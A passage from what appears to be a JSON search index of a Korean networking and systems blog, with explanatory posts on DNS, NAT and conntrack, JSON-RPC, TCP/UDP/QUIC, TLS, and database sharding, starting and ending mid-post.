10.96.0.10 파드의 /etc/resolv.conf에 search my-namespace.svc.cluster.local svc.cluster.local cluster.local이 적혀 있어서, 코드에서 그냥 my-svc만 써도 풀네임으로 조회된다.\n클러스터 외부 도메인(예: google.com)은 CoreDNS가 upstream DNS 서버로 포워딩한다. 이때 CoreDNS 파드에서 인터넷 DNS 서버로 나가는 UDP 53 포트가 열려 있어야 한다. NetworkPolicy로 egress를 막을 때 DNS 포트를 빠뜨리면 모든 외부 통신이 끊기는 이유다.\n트레이드오프 DNS 캐시가 있어서 레코드를 수정해도 즉시 반영되지 않는다. 장애 상황에서 IP를 바꾸는 경우 TTL이 높으면 전파 지연이 생긴다. 반대로 TTL을 너무 낮게 잡으면 DNS 서버에 부하가 늘고 조회 지연이 누적된다. 평상시에는 TTL을 적당히 높게(300~3600) 유지하고, 변경 예정일 때만 낮추는 것이 현실적이다.\nRoute 53 같은 클라우드 DNS는 헬스체크와 연동해 비정상 엔드포인트를 자동으로 제외하는 DNS 페일오버 기능을 제공한다. 하지만 TTL 동안 캐시된 응답은 막을 수 없어 완전한 즉시 전환은 보장하지 못한다. 빠른 페일오버가 필요하면 로드밸런서 레벨에서 처리하는 것이 더 확실하다.\n","permalink":"https://charminggroot.github.io/posts/035-dns/","summary":"DNS는 도메인 이름을 IP 주소로 변환하는 분산 데이터베이스다. api.example.com에 요청을 보낼 때 실제로 어떤 일이 일어나는지, A/CNAME/MX 레코드가 각각 무엇인지, TTL이 배포와 장애 복구에 어떤 영향을 주는지 설명한다.","title":"035. DNS — 도메인 이름을 IP로 바꾸는 시스템"},{"content":"사설 IP(10.0.1.5)를 가진 서버는 인터넷과 직접 통신할 수 없다. 인터넷 라우터는 사설 IP를 목적지로 받으면 어디로 보낼지 모른다. 그 서버가 google.com에 요청을 보내도, 구글 서버가 10.0.1.5로 응답을 보낼 방법이 없다.\nNAT는 이 문제를 해결한다. 패킷이 외부로 나갈 때 사설 IP를 공인 IP로 바꾸고, 응답이 돌아오면 다시 사설 IP로 되돌린다. 내부 서버 입장에서는 인터넷과 직접 통신하는 것처럼 보인다.\nSNAT — 출발지 주소 변환 SNAT(Source NAT)는 패킷의 출발지 IP를 바꾼다. 내부 → 외부 방향 트래픽에 쓰인다.\n내부 서버 (10.0.1.5:54321) → 구글 (8.8.8.8:80) NAT 게이트웨이 통과 시: 출발지: 10.0.1.5:54321 → 203.0.113.1:40001 (공인 IP:포트로 교체) 구글이 응답을 보낼 때: 목적지: 203.0.113.1:40001 → NAT 게이트웨이 → 10.0.1.5:54321 (원래 서버로 복원) 여러 서버가 하나의 공인 IP를 공유할 수 있도록, NAT 게이트웨이는 서버마다 다른 포트 번호를 할당한다. 이 방식을 PAT(Port Address Translation) 또는 IP Masquerade라고도 한다. AWS NAT Gateway, 가정용 공유기가 모두 이 방식이다.\nDNAT — 목적지 주소 변환 DNAT(Destination NAT)는 패킷의 목적지 IP를 바꾼다. 외부 → 내부 방향, 즉 인바운드 트래픽 라우팅에 쓰인다.\n외부 클라이언트 → 203.0.113.1:80 (공인 IP) DNAT 규칙: 203.0.113.1:80 → 10.0.1.5:8080 (내부 서버) 로드밸런서, 포트 포워딩이 DNAT다. 외부에서 공인 IP의 특정 포트로 오는 요청을 내부 서버로 전달한다.\nConnection Tracking NAT가 동작하려면 변환 테이블을 유지해야 한다. \u0026ldquo;203.0.113.1:40001에서 온 응답은 10.0.1.5:54321로 돌려줘야 한다\u0026quot;는 매핑을 기억한다.\n이것이 Connection Tracking(conntrack) 이다. Linux 커널이 각 연결의 상태(NEW, ESTABLISHED, RELATED, INVALID)와 변환 정보를 테이블에 저장한다.\n# conntrack 테이블 확인 (Linux) conntrack -L # tcp 6 86399 ESTABLISHED # src=10.0.1.5 dst=8.8.8.8 sport=54321 dport=80 # src=8.8.8.8 dst=203.0.113.1 sport=80 dport=40001 # [ASSURED] 연결이 오래 유지되거나 너무 많아지면 conntrack 테이블이 가득 찰 수 있다. 테이블이 꽉 차면 새 연결이 NAT를 통과하지 못한다. 트래픽이 많은 환경에서 NAT 게이트웨이 인스턴스의 conntrack 한계가 병목이 되기도 한다.\nAWS NAT Gateway AWS의 private 서브넷 서버가 인터넷에 나가려면 NAT Gateway를 거친다.\nprivate 서브넷 서버 (10.0.11.5) → private 서브넷 라우팅 테이블: 0.0.0.0/0 → nat-gateway-id → NAT Gateway (public 서브넷에 위치, Elastic IP 보유) → Internet Gateway → 인터넷 NAT Gateway는 반드시 public 서브넷에 위치해야 한다. 자체 Elastic IP(공인 IP)를 가지고, 그 IP로 SNAT를 수행한다.\n인바운드는 허용하지 않는다. 외부에서 먼저 연결을 시작하는 요청은 NAT Gateway를 통과하지 못한다. 이것이 \u0026ldquo;private 서브넷 서버는 외부에서 직접 접근할 수 없다\u0026quot;는 의미다.\nk8s와 NAT k8s Service도 내부적으로 DNAT를 활용한다. kube-proxy가 iptables 또는 IPVS 규칙을 설치해, ClusterIP로 향하는 트래픽을 실제 파드 IP로 DNAT한다.\n파드 → ClusterIP(10.96.0.10):80 kube-proxy iptables 규칙: 목적지 10.96.0.10:80 → 10.244.1.5:8080 (실제 파드 IP) NodePort도 같은 원리다. 노드의 특정 포트로 들어온 트래픽을 파드로 DNAT한다. 파드에서 나가는 트래픽이 노드 IP로 보이는 것은 SNAT다. 이 모든 것이 커널의 iptables/IPVS 규칙으로 처리된다.\n트레이드오프 NAT는 편리하지만 추적을 어렵게 만든다. 로그에 남는 IP가 공인 IP 하나뿐이라 어떤 내부 서버에서 나온 트래픽인지 역추적하기 어렵다. AWS에서는 VPC Flow Logs로 NAT Gateway 앞뒤의 IP를 모두 기록해 이 문제를 보완한다.\nSNAT는 단방향이다. 외부 서버가 NAT 뒤에 있는 서버에 먼저 연결을 시작하는 것은 conntrack에 항목이 없으므로 불가능하다. NAT는 \u0026ldquo;보호 효과\u0026quot;가 있지만, 이것이 방화벽을 대체하지는 않는다.\n","permalink":"https://charminggroot.github.io/posts/036-nat/","summary":"NAT(Network Address Translation)는 패킷의 출발지 또는 목적지 IP를 변환하는 기술이다. 사설 IP를 가진 서버가 인터넷과 통신할 수 있는 것, VPC의 private 서브넷이 외부로 나갈 수 있는 것이 모두 NAT 덕분이다. SNAT와 DNAT의 차이, Connection tracking, 그리고 k8s Service가 내부적으로 NAT를 어떻게 활용하는지 설명한다.","title":"036. NAT — 사설 IP와 공인 IP를 연결하는 주소 변환"},{"content":"웹에서 서버와 통신하는 기본 방식은 HTTP다. 그리고 HTTP 위에서 API를 설계하는 가장 흔한 방식은 REST다. REST는 데이터를 자원(resource)으로 보고, URL과 HTTP 메서드를 조합해 다룬다. 사용자 1번을 지우는 일은 DELETE /users/1이 된다.\n그런데 어떤 API는 자원보다 동작이 중심이다. \u0026ldquo;두 수를 빼라\u0026rdquo;, \u0026ldquo;이 작업을 취소하라\u0026quot;처럼 명령을 보내고 결과를 받는 일이 더 자연스러운 경우다. 이럴 때 자원 모델에 억지로 끼워 맞추는 대신, 원격 함수 호출이라는 다른 모델을 쓸 수 있다. JSON-RPC가 그 모델을 가장 단순하게 구현한 프로토콜이다.\nRPC라는 개념 RPC는 Remote Procedure Call, 원격 프로시저 호출의 약자다. 네트워크 너머에 있는 함수를 마치 내 코드의 함수처럼 호출하는 방식을 말한다. 개발자가 보기에는 subtract(42, 23)라는 평범한 호출이지만, 실제로는 그 요청이 네트워크를 타고 다른 머신에서 실행되고 결과만 돌아온다.\nREST가 \u0026ldquo;무엇을(자원)\u0026rdquo; 중심이라면 RPC는 \u0026ldquo;무엇을 하라(동작)\u0026rdquo; 중심이다. 같은 일을 두 모델로 표현하면 차이가 드러난다.\n구분 REST RPC 중심 개념 자원(resource) 동작(method) 표현 URL + HTTP 메서드 메서드 이름 + 인자 사용자 삭제 DELETE /users/1 deleteUser(1) JSON-RPC가 정의하는 것 JSON-RPC가 정하는 것은 주고받는 메시지의 모양뿐이다. 어떤 길로 메시지를 실어 나를지는 정하지 않는다. 그래서 HTTP 위에서도, WebSocket 위에서도, 심지어 두 프로세스가 표준입출력(stdio)으로 대화할 때도 똑같이 쓸 수 있다. 전송 수단에 묶이지 않는다는 점이 이 프로토콜의 핵심 성격이다. 현재 표준은 JSON-RPC 2.0이다.\n요청 메시지는 다음과 같이 생겼다.\n{ \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;subtract\u0026#34;, \u0026#34;params\u0026#34;: [42, 23], \u0026#34;id\u0026#34;: 1 } jsonrpc는 프로토콜 버전으로 항상 \u0026quot;2.0\u0026quot;이다. method는 호출할 함수 이름이고, params는 인자다. params는 위치 기반 배열([42, 23])로도, 이름 기반 객체({\u0026quot;minuend\u0026quot;: 42, \u0026quot;subtrahend\u0026quot;: 23})로도 보낼 수 있다. id는 이 요청을 식별하는 값으로, 응답을 요청과 짝지을 때 쓴다.\n응답에는 결과 또는 오류 중 하나가 담긴다.\n{ \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;result\u0026#34;: 19, \u0026#34;id\u0026#34;: 1 } { \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;error\u0026#34;: { \u0026#34;code\u0026#34;: -32601, \u0026#34;message\u0026#34;: \u0026#34;Method not found\u0026#34; }, \u0026#34;id\u0026#34;: 1 } result와 error는 둘 중 정확히 하나만 들어간다. 둘 다 있거나 둘 다 없으면 규약 위반이다. 응답의 id는 요청의 id를 그대로 돌려준다. 여러 요청을 동시에 보내고 응답이 순서 없이 돌아올 때, 클라이언트는 이 id로 어떤 요청에 대한 답인지 맞춘다.\n오류 코드 중 일부는 미리 정해져 있다. 파싱 실패는 -32700, 잘못된 요청 형식은 -32600, 없는 메서드는 -32601, 잘못된 인자는 -32602다. -32000부터 -32099까지는 서버 구현이 자유롭게 정의해 쓰는 구간이다.\n응답이 없는 호출과 묶음 호출 요청에서 id를 빼면 알림(notification)이 된다. 서버는 처리만 하고 응답을 보내지 않는다. 결과가 필요 없는 단방향 통지에 쓴다.\n여러 요청을 배열로 묶어 한 번에 보낼 수도 있다(batch). 응답도 배열로 오며, 이때 알림은 응답에서 빠진다. 왕복 횟수를 줄이고 싶을 때 유용하다.\n어디에 쓰이나 JSON-RPC의 영향력은 단순함에서 나온다. 스펙이 짧아 어떤 언어로든 구현이 쉽고, 전송 수단을 가리지 않아 다양한 환경에 얹힌다. 이더리움 같은 블록체인 노드의 API가 대표적이고, 에디터와 언어 서버가 대화하는 Language Server Protocol(LSP), 그리고 AI 모델과 도구를 잇는 Model Context Protocol(MCP)도 JSON-RPC 2.0을 토대로 한다. 세 경우 모두 \u0026ldquo;자원\u0026quot;보다 \u0026ldquo;동작\u0026quot;을 주고받는 일이 본질이고, 전송 환경이 제각각이라는 공통점이 있다.\n이점과 트레이드오프 이점은 단순함과 독립성이다. 배워야 할 규칙이 적고, 동작 중심 API를 자연스럽게 표현하며, 전송 수단을 바꿔도 메시지 구조는 그대로다.\n감수하는 것도 있다. HTTP의 캐싱, 상태 코드, 표준 메서드 같은 기성 인프라의 이점을 그대로 누리기 어렵다. 단일 엔드포인트로 모든 호출이 들어오므로 URL만 보고 무슨 일이 일어나는지 파악하기 어렵고, 메서드와 인자 구조를 따로 문서화해야 한다. 자원을 CRUD로 다루는 API라면 REST가, 동작 명령을 전송 수단에 구애받지 않고 주고받아야 한다면 JSON-RPC가 더 자연스럽다.\n","permalink":"https://charminggroot.github.io/posts/006-json-rpc/","summary":"REST가 자원을 중심으로 API를 설계한다면, 어떤 API는 동작을 주고받는 편이 더 자연스럽다. JSON-RPC가 무엇인지, RPC라는 모델이 REST와 어떻게 다른지, 메시지 구조와 오류 규약은 어떻게 생겼는지, 전송 수단에 묶이지 않는다는 성격 덕분에 MCP·LSP·블록체인 노드에서 왜 쓰이는지를 설명한다.","title":"006. JSON-RPC — JSON으로 원격 함수를 호출하는 프로토콜"},{"content":"HTTP나 JSON-RPC 같은 프로토콜은 \u0026ldquo;무슨 메시지를 주고받을지\u0026quot;를 정한다. 하지만 그 메시지를 실제로 상대에게 실어 나르는 일은 더 아래 계층이 맡는다. 이를 전송 계층(transport layer)이라 한다. 인터넷에서 이 역할을 하는 대표 주자가 TCP와 UDP이고, 그 한계를 넘으려고 등장한 것이 QUIC이다. 위에 어떤 프로토콜을 얹든 결국 이 셋 중 하나를 타고 흐른다.\nTCP — 느려도 확실하게 TCP는 Transmission Control Protocol의 약자다. 데이터가 빠짐없이, 보낸 순서대로, 정확히 도착하는 것을 보장하는 연결형 프로토콜이다.\n통신을 시작하기 전에 양쪽이 연결을 맺는다. 이 과정을 3-way handshake라 한다. 클라이언트가 \u0026ldquo;연결하자(SYN)\u0026ldquo;고 보내면 서버가 \u0026ldquo;좋다, 나도 준비됐다(SYN+ACK)\u0026ldquo;고 답하고, 클라이언트가 \u0026ldquo;확인했다(ACK)\u0026ldquo;고 마무리하는 세 번의 왕복이다. 연결이 맺어진 뒤에는 받은 쪽이 매번 \u0026ldquo;잘 받았다(ACK)\u0026ldquo;고 응답하고, 정해진 시간 안에 응답이 없으면 보낸 쪽이 다시 보낸다. 이 재전송이 유실을 복구한다. 또한 패킷마다 순서 번호가 붙어 있어, 도착 순서가 뒤섞여도 받는 쪽이 원래 순서로 재조립한다.\n대가는 지연이다. 연결을 맺느라 왕복이 필요하고, 응답을 기다리느라 시간이 든다. 더 미묘한 약점은 머리 막힘(Head-of-Line blocking)이다. TCP는 하나의 연결로 모든 데이터를 한 줄로 흘려보내기 때문에, 앞쪽 패킷 하나가 유실되면 뒤따르는 패킷들이 멀쩡히 도착했더라도 그 하나가 재전송될 때까지 전부 대기해야 한다. 한 차선뿐인 도로에서 맨 앞 차가 멈추면 뒤차가 모두 막히는 것과 같다.\n정확성이 중요한 거의 모든 곳이 TCP를 쓴다. 웹(HTTP/1.1과 HTTP/2), 메일, 파일 전송이 그렇다.\nUDP — 빠르게, 일단 던진다 UDP는 User Datagram Protocol의 약자다. TCP와 정반대로, 연결을 맺지 않고 도착도 순서도 보장하지 않는다. 데이터그램(datagram)이라 부르는 작은 덩어리를 목적지로 그냥 쏘기만 한다.\n연결 절차가 없으니 즉시 보낼 수 있고, 재전송이나 순서 재조립 같은 부담이 없어 가볍고 빠르다. 대신 유실되어도 알아채지 못하고, 순서가 뒤섞여도 바로잡지 않는다. 신뢰성이 필요하면 그 일을 애플리케이션이 직접 떠안아야 한다.\n이 성격은 정확성보다 실시간성이 중요한 곳에 맞는다. 음성·화상 통화나 게임에서는 한두 프레임이 깨지더라도 그걸 다시 받느라 늦어지는 것보다 그냥 넘기고 다음 데이터를 받는 편이 낫다. 짧은 질의와 응답이 오가는 DNS도, 매번 연결을 맺을 이유가 없어 UDP를 쓴다.\nQUIC — UDP의 속도에 TCP의 신뢰성을 다시 얹다 QUIC은 TCP의 한계를 넘으려고 만들어진 프로토콜이다. 흥미로운 점은 그것을 TCP를 고쳐서가 아니라 UDP 위에 새로 쌓아 올려 해결했다는 것이다. TCP는 운영체제 커널과 중간 장비(라우터, 방화벽)에 깊이 박혀 있어 새 기능을 넣으려면 인터넷 전체를 업데이트해야 하므로 사실상 진화가 막혀 있다. 반면 UDP는 단순하고 어디서나 통과되므로, 그 위에서 새 전송 프로토콜을 애플리케이션 레벨로 자유롭게 구현할 수 있다. QUIC은 UDP가 보장하지 않는 재전송, 순서, 혼잡 제어를 스스로 구현해 신뢰성을 되찾는다.\nQUIC이 해결한 TCP의 약점은 세 가지다.\n첫째, 연결 수립이 빠르다. TCP는 연결을 맺는 handshake와 암호화를 위한 TLS handshake가 따로라 왕복이 여러 번 필요하다. QUIC은 이 둘을 하나로 합쳐 한 번의 왕복(1-RTT)에 끝내고, 한 번 연결했던 상대라면 왕복 없이(0-RTT) 바로 데이터를 보낼 수도 있다.\n둘째, 머리 막힘이 없다. QUIC은 하나의 연결 안에 서로 독립적인 여러 스트림(stream)을 둔다. 한 스트림에서 패킷이 유실되어도 다른 스트림은 영향받지 않고 계속 흐른다. 한 차선 도로를 여러 차선으로 나눈 셈이다.\n셋째, 연결이 잘 끊기지 않는다. TCP 연결은 IP 주소로 식별되므로 Wi-Fi에서 LTE로 네트워크가 바뀌면 끊긴다. QUIC은 연결을 Connection ID라는 별도 식별자로 추적해, 네트워크가 바뀌어도 연결을 유지한다.\n또한 QUIC은 TLS 1.3 암호화를 내장한다. TCP에서는 암호화가 선택이지만 QUIC에서는 통신 자체에 포함된다. 이 QUIC을 전송 계층으로 삼는 것이 HTTP/3다.\n셋을 어떻게 고르나 TCP UDP QUIC 연결 handshake 필요 없음 빠른 handshake (0–1 RTT) 신뢰성·순서 보장 보장 안 함 보장 (스트림 단위) 머리 막힘 있음 해당 없음 없음 기반 IP 위 IP 위 UDP 위 암호화 별도(TLS) 별도 내장(TLS 1.3) 대표 용도 웹, 메일, 파일전송 스트리밍, DNS, 게임 HTTP/3 계층으로 그리면 위에 무엇을 얹느냐에 따라 스택이 달라진다. HTTP/1.1과 HTTP/2는 TCP 위에, HTTP/3는 QUIC 위에, 그 QUIC은 다시 UDP 위에 얹힌다. DNS나 게임은 UDP를 직접 쓴다.\n선택의 기준은 단순하다. 데이터가 정확해야 하면 TCP, 약간의 유실을 감수하더라도 빨라야 하면 UDP다. QUIC은 둘의 장점을 모으려는 시도이고, 그 대가로 UDP 위에 신뢰성 계층을 직접 구현하는 복잡성을 떠안았다. 새 웹 트래픽은 점점 QUIC으로 옮겨가고 있지만, 보편성과 성숙도에서는 여전히 TCP와 UDP가 기본값이다.\n","permalink":"https://charminggroot.github.io/posts/007-tcp-udp-quic/","summary":"HTTP나 JSON-RPC 같은 프로토콜은 무슨 메시지를 주고받을지 정하지만, 그 메시지를 실제로 실어 나르는 일은 전송 계층이 맡는다. TCP가 어떻게 신뢰성을 보장하는지, UDP는 왜 그것을 포기하고 빨라졌는지, QUIC은 어떻게 UDP 위에서 TCP의 신뢰성을 되찾으면서 머리 막힘과 느린 연결 수립까지 해결했는지를 설명한다.","title":"007. TCP, UDP, QUIC — 데이터를 실어 나르는 전송 계층"},{"content":"TCP는 데이터를 정확히 전달하지만, 그 데이터를 보호하지는 않는다. TCP 위로 흐르는 내용은 평문(plaintext)이라, 같은 네트워크에 있는 누군가가 중간에서 들여다보거나 바꿔치기할 수 있다. 비밀번호를 보내든 결제 정보를 보내든 그대로 노출된다. TLS는 이 문제를 푸는 계층이다. TCP와 그 위의 HTTP 사이에 끼어들어, 흐르는 데이터를 암호화하고 상대가 진짜인지 확인한다. https://, wss://의 s가 바로 이 TLS다.\nTLS는 Transport Layer Security의 약자다. 과거 이름인 SSL(Secure Sockets Layer)로도 불리지만, SSL은 보안 결함으로 오래전 폐기됐고 지금 쓰이는 것은 모두 TLS다. 사람들이 습관적으로 \u0026ldquo;SSL 인증서\u0026quot;라 부를 뿐이다.\nTLS가 보장하는 세 가지 암호화라고 하면 보통 \u0026ldquo;내용 숨기기\u0026quot;만 떠올리지만, TLS는 세 가지를 함께 보장한다.\n기밀성(confidentiality)은 내용을 제3자가 읽지 못하게 하는 것이다. 무결성(integrity)은 전송 중 데이터가 변조되지 않았음을 보장하는 것으로, 누군가 중간에서 한 글자라도 바꾸면 받는 쪽이 알아챈다. 인증(authentication)은 내가 통신하는 상대가 사칭이 아니라 진짜임을 확인하는 것이다. 암호화만 되고 인증이 없다면, 공격자가 중간에서 가짜 서버 행세를 하며 모든 트래픽을 가로채는 중간자 공격(man-in-the-middle)에 무방비가 된다.\n두 종류의 암호화 TLS를 이해하려면 암호화 방식이 두 가지라는 것부터 알아야 한다.\n대칭키 암호화(symmetric encryption)는 암호화와 복호화에 같은 열쇠를 쓴다. 빠르고 효율적이지만, 양쪽이 같은 열쇠를 공유해야 한다는 문제가 있다. 이 열쇠를 네트워크로 그냥 보내면 도청당하므로, 안전하게 전달할 방법이 따로 필요하다.\n비대칭키 암호화(asymmetric encryption)는 한 쌍의 열쇠를 쓴다. 공개키(public key)로 잠근 것은 짝이 되는 개인키(private key)로만 열 수 있고, 그 반대도 성립한다. 공개키는 누구에게나 보여줘도 된다. 비대칭키는 이 열쇠 전달 문제를 풀지만, 계산이 무거워 대량의 데이터를 처리하기에는 느리다.\nTLS는 둘을 영리하게 조합한다. 연결 초반에는 비대칭키로 안전하게 대칭키 하나를 합의하고, 그 뒤 실제 데이터는 빠른 대칭키로 주고받는다. 무거운 자물쇠는 열쇠를 건네는 순간에만 쓰고, 일상적인 대화는 가벼운 자물쇠로 하는 셈이다.\n핸드셰이크 — 연결을 여는 협상 실제 통신 전에 양쪽이 조건을 맞추는 과정을 핸드셰이크(handshake)라 한다. 큰 흐름은 이렇다. 클라이언트가 자신이 지원하는 암호화 방식 목록을 보내며 인사하면, 서버가 그중 하나를 고르고 자신의 인증서를 함께 보낸다. 클라이언트는 그 인증서를 검증하고, 둘은 이번 세션에서 쓸 대칭키를 안전하게 합의한다. 이 시점부터 모든 통신이 그 대칭키로 암호화된다.\n이 협상에는 왕복이 필요하고, 그만큼 지연이 생긴다. 그래서 버전이 올라가며 이 과정을 줄여 왔다. 널리 쓰이던 TLS 1.2는 핸드셰이크에 두 번의 왕복(2-RTT)이 들었지만, 현재 표준인 TLS 1.3은 이를 한 번(1-RTT)으로 줄였고, 한 번 연결했던 서버에는 왕복 없이(0-RTT) 바로 데이터를 보내는 길도 열었다. 앞서 정리한 QUIC이 빠른 것도 TLS 1.3을 전송 과정에 통합했기 때문이다.\n인증서와 신뢰 사슬 서버가 보낸 공개키가 정말 그 서버의 것인지는 어떻게 믿을까. 여기서 인증서(certificate)가 등장한다. 인증서는 \u0026ldquo;이 공개키는 이 도메인의 것이 맞다\u0026quot;는 사실을 보증하는 문서이고, 그 보증을 인증 기관(CA, Certificate Authority)이라는 신뢰받는 제3자가 서명해 준다.\n브라우저와 운영체제에는 신뢰하는 CA들의 목록이 미리 내장돼 있다. 서버 인증서를 검증할 때, 브라우저는 그 인증서에 서명한 CA를 따라 올라가 내장된 신뢰 목록에 닿는지 확인한다. 이 연결 고리를 신뢰 사슬(chain of trust)이라 한다. 사슬이 끊기거나, 도메인이 인증서와 안 맞거나, 유효기간이 지났으면 브라우저는 경고를 띄운다.\n개발 중에 자체 서명 인증서(self-signed certificate)를 쓰면 이 경고를 만난다. 어떤 CA도 보증하지 않은, 자기가 자기를 보증한 인증서이기 때문이다. 암호화 자체는 동작하지만 인증 사슬이 없어 신뢰되지 않는다. 그래서 로컬에서 wss://로 붙으려면 그 인증서를 브라우저 신뢰 목록에 직접 등록하거나 별도 프록시를 거치게 된다.\n어디에 얹히나 TLS는 특정 프로토콜에 묶이지 않고 TCP 위라면 어디든 끼어든다. HTTP에 얹히면 HTTPS가 되고, WebSocket에 얹히면 wss://가 되며, 메일 프로토콜에도 적용된다. QUIC처럼 TLS를 아예 내부에 통합한 경우도 있다. 공통점은 \u0026ldquo;기존 프로토콜은 그대로 두고, 그 아래에서 암호화 계층만 추가한다\u0026quot;는 것이다.\n이점과 트레이드오프 이점은 분명하다. 도청과 변조와 사칭을 한꺼번에 막아주고, 기존 프로토콜을 거의 바꾸지 않고도 보안을 입힐 수 있다. 오늘날 평문 통신은 사실상 표준 미달로 취급된다.\n대가는 비용이다. 핸드셰이크에 왕복이 더해져 첫 연결이 느려지고(TLS 1.3과 세션 재개로 많이 줄긴 했다), 암호화·복호화에 약간의 연산이 든다. 인증서는 발급받고 갱신해야 하며, 만료된 인증서를 방치하면 서비스가 통째로 막힌다. 그럼에도 이 비용은 보안의 대가로 받아들이는 것이 현재의 기본값이고, 무료 자동 갱신 인증서가 보급되며 운영 부담도 크게 낮아졌다.\n","permalink":"https://charminggroot.github.io/posts/008-tls/","summary":"TCP는 데이터를 정확히 전달하지만 보호하지는 않는다. TLS가 어떻게 TCP와 HTTP 사이에 끼어 통신을 암호화하는지, 기밀성·무결성·인증이라는 세 가지 보장이 무엇인지, 대칭키와 비대칭키를 왜 함께 쓰는지, 인증서와 신뢰 사슬은 어떻게 사칭을 막는지, 그리고 HTTPS와 wss가 결국 같은 TLS인 이유를 설명한다.","title":"008. TLS — 평문 통신을 암호화된 채널로 바꾸는 계층"},{"content":"데이터베이스는 보통 한 대의 서버에서 시작한다. 서비스가 작을 때는 이걸로 충분하다. 그런데 데이터가 쌓이고 트래픽이 늘면 언젠가 한 대로는 감당이 안 되는 순간이 온다. 디스크가 가득 차거나, 초당 쿼리 수가 한계를 넘거나, 메모리에 인덱스가 다 안 올라가는 식이다.\n가장 먼저 떠오르는 해법은 더 좋은 서버로 갈아타는 것이다. CPU와 메모리, 디스크를 키우는 이 방식을 수직 확장(scale-up)이라 한다. 단순하지만 한계가 분명하다. 한 대가 가질 수 있는 사양에는 천장이 있고, 사양이 올라갈수록 가격이 가파르게 오른다. 그래서 일정 규모를 넘으면 한 대를 키우는 대신 여러 대에 나눠 담는 수평 확장(scale-out)으로 방향을 튼다. 샤딩은 이 수평 확장을 데이터베이스에 적용한 기법이다.\n샤딩이란 샤딩(sharding)은 하나의 큰 데이터셋을 여러 조각으로 쪼개 서로 다른 서버에 나눠 저장하는 것이다. 이때 각 조각을 샤드(shard)라 부른다. 도서관 장서가 너무 많아져 건물 하나에 다 안 들어갈 때, 책을 주제별로 나눠 여러 건물에 분산해 보관하는 것과 같다. 한 건물에 모든 책이 있지는 않지만, 어떤 책이 어느 건물에 있는지 규칙만 알면 찾아갈 수 있다.\n데이터베이스 용어로는 수평 분할(horizontal partitioning)이라고도 한다. 테이블을 가로로 잘라 행(row)들을 여러 서버에 흩뿌리기 때문이다. 사용자 1번부터 100만 번까지의 데이터가 한 테이블에 있었다면, 샤딩 후에는 150만은 A 서버에, 50만100만은 B 서버에 나뉘어 들어간다. 각 서버는 전체의 일부만 책임지므로, 데이터와 부하가 분산된다.\n복제와 무엇이 다른가 비슷해 보이는 복제(replication)와 헷갈리기 쉽지만 목적이 다르다. 복제는 같은 데이터를 여러 서버에 똑같이 복사해 두는 것이다. 한 대가 죽어도 다른 대가 같은 데이터를 갖고 있어 가용성이 높아지고, 읽기 요청을 여러 복제본에 분산할 수 있다. 하지만 데이터 전체가 한 대에 다 들어가야 한다는 한계는 그대로다. 모든 서버가 전부를 갖고 있으니까.\n샤딩은 반대다. 각 서버가 데이터의 서로 다른 부분만 갖는다. 그래서 한 대에 다 안 들어가는 데이터도 담을 수 있고, 쓰기 부하까지 분산된다. 실제 시스템은 둘을 함께 쓴다. 데이터를 여러 샤드로 나누고(샤딩), 각 샤드를 다시 여러 벌 복제해(복제) 분산과 가용성을 모두 얻는 식이다.\n복제 샤딩 각 서버가 가진 것 전체 데이터의 사본 데이터의 일부 조각 주된 목적 가용성, 읽기 분산 용량·쓰기 부하 분산 데이터 총량 한계 한 대 용량에 묶임 서버를 늘려 확장 샤드 키 — 무엇을 기준으로 나누나 샤딩의 핵심 결정은 \u0026ldquo;어떤 기준으로 데이터를 쪼갤 것인가\u0026quot;이다. 이 기준이 되는 값을 샤드 키(shard key)라 한다. 사용자 ID, 지역, 주문 번호 같은 것이 샤드 키가 될 수 있다. 어떤 행이 어느 샤드로 갈지는 이 키 값으로 결정된다.\n샤드 키를 정하면, 그 키로 어떤 샤드를 고를지 정하는 규칙이 필요하다. 대표적으로 세 가지 방식이 있다.\n범위 기반(range)은 키 값의 구간으로 나눈다. 사용자 ID 150만은 샤드 A, 50만100만은 샤드 B 하는 식이다. 직관적이고 범위 조회에 유리하지만, 특정 구간에만 요청이 몰리면 그 샤드만 과부하가 된다.\n해시 기반(hash)은 키 값을 해시 함수에 넣어 나온 값으로 샤드를 정한다. 키를 고르게 흩뿌려 부하가 균등해지지만, 연속된 키들이 서로 다른 샤드로 흩어져 범위 조회가 어려워진다.\n디렉토리 기반(directory)은 \u0026ldquo;어떤 키가 어느 샤드에 있는지\u0026quot;를 별도의 조회 테이블에 두고 매번 찾아본다. 유연하게 재배치할 수 있지만, 이 조회 테이블 자체가 모든 요청이 거쳐 가는 병목이자 단일 장애점이 될 수 있다.\n요청이 들어오면 이 규칙에 따라 올바른 샤드로 보내야 하는데, 이 길 안내 역할을 라우팅(routing)이라 한다. 애플리케이션이 직접 계산하거나, 중간에 라우팅 계층을 두거나, 데이터베이스가 알아서 처리하기도 한다.\n무엇을 감수하나 샤딩은 확장성을 주는 대신 복잡성을 가져온다.\n가장 흔한 문제는 핫스팟(hotspot)이다. 데이터나 트래픽이 특정 샤드에 쏠리는 현상으로, 샤드 키를 잘못 고르면 발생한다. 인기 상품 하나에 주문이 폭주하는데 그 상품이 한 샤드에 있다면, 서버를 아무리 늘려도 그 샤드만 불탄다. 부하를 고르게 분산하는 샤드 키를 고르는 것이 그래서 중요하다.\n둘째는 리샤딩(resharding)이다. 샤드를 더 늘리거나 줄여 데이터를 재배치하는 일인데, 운영 중인 시스템에서 데이터를 옮기는 것은 위험하고 까다롭다. 단순 해시 방식은 샤드 수가 바뀌면 거의 모든 키의 위치가 달라져 대규모 이동이 필요하다. 이 이동량을 줄이려고 일관된 해싱(consistent hashing) 같은 기법을 쓴다.\n셋째는 교차 샤드 연산이다. 서로 다른 샤드에 흩어진 데이터를 한꺼번에 다뤄야 하는 조인이나 트랜잭션은 어렵고 느리다. 한 건물 안에서 끝나던 일이 여러 건물을 오가는 일이 되기 때문이다. 그래서 샤딩 설계는 \u0026ldquo;함께 조회되는 데이터는 같은 샤드에 두도록\u0026rdquo; 샤드 키를 고르는 데 많은 공을 들인다.\n언제 선택하나 샤딩은 공짜가 아니다. 라우팅, 리샤딩, 교차 샤드 연산이라는 복잡성이 따라오므로, 한 대로 버틸 수 있다면 굳이 먼저 도입할 이유가 없다. 보통은 수직 확장과 복제, 캐시, 읽기 분산을 먼저 시도해 보고, 